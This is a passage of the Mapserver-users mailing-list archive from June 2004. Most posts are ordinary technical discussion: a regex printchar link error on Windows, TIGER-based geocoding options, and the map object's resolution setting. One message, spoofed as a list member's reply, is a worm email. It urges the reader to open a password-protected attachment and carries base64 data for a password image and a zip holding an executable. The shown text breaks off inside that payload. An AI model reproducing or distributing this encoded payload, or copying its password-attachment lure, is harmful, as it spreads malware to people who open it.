>Howard, > >printchar.c can be found in regex-0.12\test > >compile it and add to mapserver's nmake.opt (around line 431): >REGEX_OBJ=$(REGEX_DIR)\regex.obj $(REGEX_DIR)\test\printchar.obj > >I don't remember having to do this before, but then I skipped a couple of >releases... > >Brent Fraser >bfraser at geoanalytic.com > >----- Original Message ----- >From: "Howard Butler" >To: >Cc: >Sent: Monday, June 21, 2004 1:17 PM >Subject: [Mapserver-users] MapServer Windows external symbol problem > > > > Assefa, > > > > I am trying to compile Windows MapServer, but I am having trouble getting > > regex to behave when it comes time to link. Apparently, many others have > > had trouble as well > > >al+symbol+_printchar&hl=en&lr=&ie=UTF-8&c2coff=1&start=10&sa=N&filter=0>. > > > > Here is the link error: > > regex.obj : error LNK2001: unresolved external symbol _printchar > > > > I have tried every permutation of putting that symbol in the header, >making > > sure it is extern'ed properly (in both the C file and the header), but I >am > > having no luck. I grepped through my VC++ include files and my cygwin > > include files for that function prototype (printchar), but I cannot find >it > > anywhere. > > > > If you have any ideas of other things I might try, I'd greatly appreciate >it. > > > > Thanks > > > > Howard > > > > -------------------------------------------------------- > > Howard Butler > > Department of Statistics > > Center for Survey Statistics and Methodology > > Iowa State University > > 212 Snedecor Hall > > Ames, IA 50011 > > -------------------------------------------------------- > > http://hobu.biz > > -------------------------------------------------------- > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From edbourque at hotmail.com Mon Jun 21 13:57:38 2004 From: edbourque at hotmail.com (Ed Bourque) Date: Mon, 21 Jun 2004 16:57:38 -0400 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage Message-ID: Hello I have only the following software (ArcView 3.x) and I would like to be able to geocode addresses and map these on a website. I thouht TIGER line data would be the best.... Which data and software would you recommend? Any help would be appreciated Ed B From hobu at iastate.edu Mon Jun 21 14:14:36 2004 From: hobu at iastate.edu (Howard Butler) Date: Mon, 21 Jun 2004 16:14:36 -0500 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage In-Reply-To: References: Message-ID: <6.1.0.6.2.20040621160803.01e5eeb0@hobu.mail.iastate.edu> Ed, Check out my website at http://hobu.biz In the lower right hand corner there is a box called geocode. Type in a US address and you should get a map with a dot on the location of your address. This was built with http://geocoder.us. Geocoder.us provides a SOAP and XMLRPC interface to allow you to make geocoding requests. This example application was built with Python MapScript (it is slow). You could easily do the same with other variants of MapScript. The software behind geocoder.us is GNU, and you can use it plus the TIGER data to build your own geocoding server (expect the number of requests using http://geocoder.us remote interface to be limited) Howard At 03:57 PM 6/21/2004, Ed Bourque wrote: >Hello > >I have only the following software (ArcView 3.x) and I would like to be >able to geocode addresses and map these on a website. I thouht TIGER line >data would be the best.... Which data and software would you recommend? >Any help would be appreciated > >Ed B > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bitner at macnoise.com Mon Jun 21 14:30:43 2004 From: bitner at macnoise.com (David Bitner) Date: Mon, 21 Jun 2004 16:30:43 -0500 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage In-Reply-To: Message-ID: Three TIGER based geocoders are out there right now that I know of: The geocoder.us geocoder: http://geocoder.us/ The VegGIS geocoder: http://gis.vegcrew.net/ The google geocoder: http://dan.egnor.name/google.html *********************************** David W Bitner GIS Specialist Metropolitan Airports Comission -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed Bourque Sent: Monday, June 21, 2004 3:58 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage Hello I have only the following software (ArcView 3.x) and I would like to be able to geocode addresses and map these on a website. I thouht TIGER line data would be the best.... Which data and software would you recommend? Any help would be appreciated Ed B _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From murilo.yoshida at agx.com.br Mon Jun 21 18:10:01 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Mon, 21 Jun 2004 22:10:01 -0300 Subject: ENC: [Mapserver-users] What is the resolution item on the mapobject? Message-ID: <000001c457f5$a9d55130$1364a8c0@parapente> -----Mensagem original----- De: Murilo Lacerda Yoshida [mailto:murilo.yoshida at agx.com.br] Enviada em: segunda-feira, 21 de junho de 2004 19:54 Para: 'Steve Lime' Assunto: RES: [Mapserver-users] What is the resolution item on the mapobject? Thanks Steve, that clears my ideas... I was in doubt about the resolution member because somewhere in mapscale.c it is used to calculate the scale if the scale is in feet units. But if it is not used, and I use meters anyway, that doesn't really matters. Thanks, Murilo -----Mensagem original----- De: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Enviada em: segunda-feira, 21 de junho de 2004 16:58 Para: murilo.yoshida at agx.com.br; mapserver-users at lists.gis.umn.edu Assunto: Re: [Mapserver-users] What is the resolution item on the mapobject? There's very little reason to use the resolution parameter. The only reason it was ever added was for the case when you create very high resolution images for printing. In those cases if you stuck with the default resolution AND used scale values label/layer display or symbol scaling you might not get what you hoped for. So, let's say you want to make a high resolution version of what the user sees onscreen. Well, you might change the resolution so that the computed scale is consistent between the monitor and the printed page. The scale value number is mostly useless except for relative things like scaling symbols or turning things on and off. Resolution is used for computation of a numeric scale value and not for scalebar generation. Does this help? Steve >>> "Murilo Lacerda Yoshida" 6/18/2004 4:29:30 PM >>> Hi all, I was reading the mapscale.c. In the calculateScale method it uses a resolution member of the map object. Then I looked at the mapfile documentation, it says that the resolution member is used to calculate scales, and that its default is 72 pixels per inch. I normally do not define this member in my map files. Ok, so that means that all my scales are calculated by considering that 1 inch equals 72 pixels? If I use php/mapscript, should I refresh this member every time my extents change so I get the actual scale? I am a little confused about this. Thanks, Murilo From steve.lime at dnr.state.mn.us Mon Jun 21 22:05:41 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 21 Jun 2004 23:05:41 -0600 Subject: [Mapserver-users] Re: Incoming Message Message-ID: ----------akppmuclvfuoqqulwdiq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
In order to read the attach you have to use the following password:

----------akppmuclvfuoqqulwdiq Content-Type: image/jpeg; name="vyxuwdnrlu.jpeg" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="vyxuwdnrlu.jpeg" Content-ID: /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR CAAPADoDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+snxDqsmj6dHcRrH888cLSy/chDHG9uR kD0yPwrWrA8T6Fc62lsLe4RPLEyMkmdpEkZj3cA8ruJA79OOtZ1ebkfLudGEVN1o+1do9f68 yG413UY/CcGrNbW9pcNGXkguSck4O1EA6sxAABPGehIxUuqeIbqwh04jTXV714Y90sihY3kO NmAdzMOTwMcdak1HSr6XRV0i0kt2tntDayPPu8xfl2hx1DcZ4OOec1Jd6RPPPogWVXgsJPMl aRjvciMqpHHJycnpWTVTZN9P+CdcZYbRtLeTtrtbRffpqU7rxFeReK00mGzV490QYfxsjhiZ RzwqFQDkck9uMzafq9zf+IdQtRcWaW1pL5Yh8smaT5ASc78ABj/dPpVez8M3EPih9Umug8Sz TTx4J3sZFRdrdtqhOOuc9sc2LfRr6TV7S91G6jlNj54ieMbTKJCMbwAANoGMc565pR9rfXv+ H9ffbzKn9VUbRt8H/k3z72S7rm8tN6iiiuo8o//Z/3//f/9/cX6AfJx/gHz2fv9//3//f/9/ OH+AfHF+/3//f5x//3/tfYB8vX//f/9/cX6AfJx/gHz2fv9//3+TfoB8OH//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3+AfIB8/3+AfIB8 /3//f/9//3//f4B8gHz/f/9/gHyAfIl9gHx7f/9//3+AfIB8/3+AfIB8/3//fxd/gHzUfv9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f3F+ gHycf4B87X3/f/9/1H6AfL1/gHwvfv9//3+9f/Z+iX2AfBd//3//f3F+gHycf4B87X3/f/9/ nH+AfHF+/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//39xfoB87X29f/9//3+9fy9+gHztfb1//3//f/9//3//f5N+cX7/f/9//39xfoB8 7X29f/9//3//f4B8gHyAfIB8/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9/ ----------akppmuclvfuoqqulwdiq Content-Type: application/octet-stream; name="the_message.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.zip" 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 